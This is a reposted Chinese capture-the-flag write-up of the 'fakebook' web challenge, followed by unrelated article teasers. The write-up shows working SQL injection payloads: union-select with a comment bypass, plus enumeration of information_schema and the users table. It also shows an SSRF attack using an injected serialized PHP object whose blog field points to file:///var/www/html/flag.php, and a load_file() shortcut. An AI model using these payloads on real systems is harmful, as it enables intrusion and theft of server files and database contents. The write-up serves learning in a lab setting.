攻防世界-web-fakebook

news2025/1/21 15:20:50

1. 题目描述

打开链接,这样一个界面
在这里插入图片描述
貌似没啥特殊的。。。没关系,我们每个页面都点击一下
login页面:一个简单的登录页面在这里插入图片描述
join界面:不出意外,这应该是一个注册界面
在这里插入图片描述
目前,我们什么都不做,能获取到的信息就这些了。

2. 思路分析

首先,我们注册一下,随便填点什么东西
在这里插入图片描述
然后提示:
在这里插入图片描述
这说明我们blog部分填错了。
ok,知错就改,我们调整一下,试着在csdn上找一个能用的博客链接填进去
在这里插入图片描述

发现注册成功
在这里插入图片描述
然后点击OK,跳转到正常页面
在这里插入图片描述
可以看到,这里已经有一条记录了,这时,我们发现username那里是可以点击的,我们点击一下
在这里插入图片描述
这里可以看到通过no这个参数,将相应的信息获取到了,身份信息一般保存在数据库中,这里大概率是从数据库中查的,确认下是否存在sql注入

在这里插入图片描述
报错每关系,这反而说明我们构造的数据拼接到sql语句中了,换句话说,sql注入是存在的。我们看看是否能够利用这一点。

3. 解题过程

既然明确了存在sql注入,那么还是试着用union注入之类的试着获取数据库的信息
3.1 先确定数据库的列数和字段数
在这里插入图片描述
这里尝试绕过,用通用的大小写和注释方式试下,发现大小写无法绕过,注释可以
在这里插入图片描述
这里提示列数不同,OK,将我们注入的union select语句的列数依次递增

no=3 Union//select 1# 1
no=3 Union/
/select 1,2# 1
no=3 Union//select 1,2,3# 1
no=3 Union/
/select 1,2,3,4# 1

最后发现数据库中总共是4列
在这里插入图片描述
从结果来看,能够利用的是第二列

3.2 获取数据库中的信息
获取表名:no=3 union/**/select 1,table_name ,3,4 from information_schema.tables where table_schema=database()#
在这里插入图片描述

获取数据库的列名:no=3 union/**/select 1,column_name ,3,4 from information_schema.columns where table_name=‘users’ and table_schema=database() limit 2,1# (这里回显只有一行,因此这里通过limit来控制显示所有列)
在这里插入图片描述
比如,这里就显示第三列字段名为passwd。通过这种方式,我们获取到users表的四个字段分别为no, username, passwd, data

获取数据库中的具体内容:no=3 union/**/select 1,data ,3,4 from users limit 0,1#
查询看前面三个字段都是我们自己设置的,只有最后一个字段不一样
在这里插入图片描述
这是一个序列化字符串。但是如何利用暂时没有思路。

分隔线~~~~~


分隔线~~~~~,以下均参考网上大佬解法

3.3 信息获取不足,使用工具扫描下网站
除了上面的信息外,我们对该网站这里直接扫描下,执行命令:nikto -host 61.147.171.105:62060
在这里插入图片描述
发现,这里有两个有意思的文件,一个是/user.php.bak,一个是/db.php
/user.php.bak可以下载,内容如下:
在这里插入图片描述
这个从代码层来看是有SSRF风险的,什么是SSRF?
在这里插入图片描述
简而言之,SSRF的利用点在于服务端会去向某个地址发请求,而这个请求地址是攻击者可控的,那么攻击者可以将请求地址设置为本地地址127.0.0.1或者其它内网地址来访问内网资源,造成信息泄露以及越权访问。

3.4 使用SSRF获取flag

在这里插入图片描述
回到题目,这里的SSRF点在于blog参数是我们能够控制的,比如上图中我们可以将序列化后的字符串传递给服务端,然后反序列化后得到真实的值

no=3 union/**/select 1,2,3,‘O:8:“UserInfo”:3:{s:4:“name”;s:1:“1”;s:3:“age”;i:1;s:4:“blog”;s:21:“https://www.csdn.net/”;}’ #

因此我们可以将blog参数设置成内部的资源(看了网上大佬们的答案我才知道这里还有一个flag.php文件),我们将blog的值设置为file:///var/www/html/flag.php

no=3 union/**/select 1,2,3,‘O:8:“UserInfo”:3:{s:4:“name”;s:1:“1”;s:3:“age”;i:1;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;}’ #
在这里插入图片描述

F12查看源码,发现src中存在相应的flag
在这里插入图片描述
将该结果用base64进行解码:
在这里插入图片描述
成功获取到flag,为flag{c1e552fdf77049fabf65168f22f7aeab}

3.5 一种更简单的解法
这里网上大佬给出了一种简单的方法,直接使用以下sql语句即可获取flag

no=3 union/**/select 1,load_file(“/var/www/html/flag.php”) ,3,4 #

在这里插入图片描述
当然,大佬也提到了这个利用点在于必须是高权限用户才行,非高权限用户建议走正常流程。

参考资料:https://blog.csdn.net/qq_41500251/article/details/105383065

4. 总结

非常综合的一道题,考察了SSRF和SQL注入;
1.解题过程中获取到的信息不完善,导致缺失一些关键信息;要养成渗透前先扫描的好习惯;
2. 另外就是过程中尝试过SSRF,也尝试了SQL注入,但是很遗憾,没能将两者结合起来处理(个人认为这道题将SSRF和SQL注入结合起来是一个亮点);
3. 另外,对sql注入的理解也不够深刻。

总之,个人能力尚需提升,收集信息要全面,不同中漏洞需要融会贯通。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/950842.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

文本匹配实战系列

引言 本系列文章开始介绍深度学习在文本匹配领域的应用,并且会尝试得到各种模型在给定的数据集上的表现。 深度文本匹配发展比较久,积累了很多文本匹配方法。也有很多的分类方式,一种分类方式是表示型和交互型。 表示型方法 表示型(repre…

上海亚商投顾:沪指缩量震荡 数据要素概念午后爆发

上海亚商投顾前言:无惧大盘涨跌,解密龙虎榜资金,跟踪一线游资和机构资金动向,识别短期热点和强势个股。 市场情绪 沪指今日延续反弹,深成指、创业板指盘中涨超1%,随后上演冲高回落走势。数据要素概念午后爆…

universal robot 机械臂 官方基本教程

https://academy.universal-robots.cn/modules/e-Series-core-track/Chinese/module3/story_html5.html?courseId2166&languageChinese 教程1 控制箱内部 包含: 主机板,SD卡,和安全控制板 安全控制板负责所有控制信息,包括…

Android需要掌握的shell脚本基础

linux中sh是链接到bash上的,所以sh与bash在功能上是没有区别的,相当于bash解析器是sh的增强版本,所以安卓开发者可以在 git bash中 测试脚本 1,shell脚本运行与输出指令 $ cat test.sh echo 测试 【输出】$ /bin/bash test.…

Spring框架知识点汇总

01.Spring框架的基本理解 关键字:核心思想IOC/AOP,作用(解耦,简化),简单描述框架组成; Spring框架是一款轻量级的开发框架,核心思想是IOC(反转控制)和AOP&a…

【操作系统】聊聊局部性原理是如何提升性能的

对于目前数据主导的系统,大多数都是Java/Go 技术栈MySQL,但是随着时间的推移,数据库数据的数据量过多,并且会频繁访问热点数据,为了提升系统的性能,一般都是加入缓存中间件、Redis。 局部性原理 我们知道…

Pytorch学习:神经网络模块torch.nn.Module和torch.nn.Sequential

文章目录 1. torch.nn.Module1.1 add_module(name,module)1.2 apply(fn)1.3 cpu()1.4 cuda(deviceNone)1.5 train()1.6 eval()1.7 state_dict() 2. torch.nn.Sequential2.1 append 3. torch.nn.functional.conv2d 1. torch.nn.Module 官方文档…

python的可哈希对象

一、介绍 在Python中,可哈希(hashable)是指一种对象类型,该类型的对象可以用作字典的键(keys)或集合(sets)的元素。可哈希的对象具有以下特点: 不可变性(Imm…

【Interaction交互模块】LinearTransformDrive线性变换驱动

文章目录 一、预设位置二、案例:建一个按下后可自动抬起的按钮三、留有疑问 一、预设位置 交互——可控制物体——变换——线性变换驱动 二、案例:建一个按下后可自动抬起的按钮 按钮的结构和设置如下图 为了让它碰触时,往下走——预设体…

【Go 基础篇】Go语言结构体基本使用

在Go语言中,结构体是一种重要的数据类型,用于定义和组织一组不同类型的数据字段。结构体允许开发者创建自定义的复合数据类型,类似于其他编程语言中的类。本文将深入探讨Go语言中结构体的定义、初始化、嵌套、方法以及与其他语言的对比&#…

Java八股文学习笔记day01

01.和equals区别 对于字符串变量来说,使用""和"equals"比较字符串时,其比较方法不同。""比较两个变量本身的值,即两个对象在内存中的首地址,"equals"比较字符串包含内容是否相同。 对于非…

VR司法法治教育平台,沉浸式课堂教学培养刑侦思维和能力

VR司法法治教育平台提供了多种沉浸式体验,通过虚拟现实(Virtual Reality,简称VR)技术让用户深度参与和体验法治知识。以下是一些常见的沉浸式体验: 1.罪案重现 VR司法法治教育平台可以通过重现真实案例的方式,让用户亲眼目睹罪案发…

基于天鹰算法优化的BP神经网络(预测应用) - 附代码

基于天鹰算法优化的BP神经网络(预测应用) - 附代码 文章目录 基于天鹰算法优化的BP神经网络(预测应用) - 附代码1.数据介绍2.天鹰优化BP神经网络2.1 BP神经网络参数设置2.2 天鹰算法应用 4.测试结果:5.Matlab代码 摘要…

Python 的画图函数 seaborn 简介

seaborn 简介 seanborn 是 Python 的另外一个常用工具包,它基于 matplotlib,但画出的图形更加美观些,并且与 Pandas 的数据类型结合地较好。 # Import seaborn import seaborn as sns import matplotlib.pyplot as plt# Apply the default …

选择一款可靠的仓库管理软件

在选择仓库管理软件时,数据的准确性、数据的安全性和软件的稳定性这三点是至关重要的。下面我们将详细讨论这些关键点。 第一,数据的准确性对于一个仓库管理软件来说是非常重要的。如果数据的准确性无法得到保证,那么这样的仓库入库出库管理…

华为OD七日集训第1期复盘 - 按算法分类,由易到难,循序渐进,玩转OD(文末送书)

目录 一、活动内容如下第1天、逻辑分析第2天、字符串处理第3天、数据结构第4天、双指针第5天、递归回溯第6天、二分查找第7天、贪心算法 && 二叉树 二、可观测性工程1、简介2、主要内容 大家好,我是哪吒。 最近一直在刷华为OD机试的算法题,坚持…

RT-Thread内核机制 线程栈

int flag;void cmp_val(int a,int b) {volatile int tmp[10];tmp[0] a;if(tmp[0] > b){flag 1;}else{flag 0;} }int main() {int a 1;int b ;cmp_val(a,b);return 0; }我们写好的程序会保存在Flash上。 其它类似汇编指令 SUB R0,R0,#4 R0 R0-4 B LR 放入LR寄存器 局…

Swift使用PythonKit调用Python

打开Xcode项目。然后选择“File→Add Packages”,然后输入软件包依赖链接: ​https://github.com/pvieito/PythonKit.git https://github.com/kewlbear/Python-iOS.git Python-iOS包允许在iOS应用程序中使用python模块。 用法: import Pyth…

超大屏画质奇迹 !TCL 115吋 QD-Mini LED 电视成豪宅顶配

有目共睹的是,现如今的电视屏幕越做越大。 尤其近年来,大屏电视的趋势愈发明显,原因无他,大屏电视所带来的震撼视觉体验,是其他电视所无法比拟的,这也正是电视品牌们不断突破新局限,往“大”了…

Python 画多个子图函数 subplot

子图函数 subplot 若要 pyplot 一次生成多个图形,一般要用到subplot函数,另外还有一个subplots函数。两个函数比较接近但略有区别,限于篇幅,我们只介绍 subplot函数,它的基本语法如下: ax plt.subplot(n…